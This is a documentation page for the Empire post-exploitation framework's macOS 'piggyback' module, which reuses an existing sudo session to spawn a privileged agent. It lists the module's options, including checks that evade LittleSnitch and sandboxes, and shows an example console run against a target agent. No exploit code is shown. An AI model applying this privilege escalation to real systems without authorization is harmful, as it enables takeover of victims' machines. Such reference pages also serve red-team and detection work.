SudoPiggyback - Empire Module


This page contains detailed information about how to use the python/privesc/osx/piggyback Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: SudoPiggyback
Module: python/privesc/osx/piggyback
Source code [1]: empire/server/modules/python/privesc/osx/piggyback.yaml
Source code [2]: empire/server/modules/python/privesc/osx/piggyback.py
MITRE ATT&CK: T1050, T1169
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The piggyback module spawns a new Empire agent using an existing sudo session. This works up until El Capitan.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the piggyback module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the piggyback module:

Agent
Agent to execute module on.

Listener
Listener to use.

SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True.

Additional Module Options

This is a list of additional options that are supported by the piggyback module:

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

Piggyback Example Usage

Here's an example of how to use the piggyback module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/privesc/osx/piggyback

 Author       @n00py                                                                
 Background   False                                                                 
 Comments     Inspired by OS X Incident Response by Jason Bradley                   
 Description  Spawns a new Empire agent using an existing sudo session.  This works 
              up until El Capitan.                                                  
 Language     python                                                                
 Name         python/privesc/osx/piggyback                                          
 NeedsAdmin   False                                                                 
 OpsecSafe    False                                                                 
 Software     http://attack.mitre.org/software/T1169                                
 Techniques   http://attack.mitre.org/techniques/T1050                              


,Record Options--------,----------,-------------------------------------,
| Name       | Value   | Required | Description                         |
|------------|---------|----------|-------------------------------------|
| Agent      |         | True     | Agent to execute module on.         |
|------------|---------|----------|-------------------------------------|
| Listener   |         | True     | Listener to use.                    |
|------------|---------|----------|-------------------------------------|
| SafeChecks | True    | True     | Switch. Checks for LittleSnitch or  |
|            |         |          | a SandBox, exit the staging process |
|            |         |          | if true. Defaults to True.          |
|------------|---------|----------|-------------------------------------|
| UserAgent  | default | False    | User-agent string to use for the    |
|            |         |          | staging request (default, none, or  |
|            |         |          | other).                             |
'------------'---------'----------'-------------------------------------'

(Empire: usemodule/python/privesc/osx/piggyback) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/privesc/osx/piggyback) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/privesc/osx/piggyback) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/privesc/osx/piggyback) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.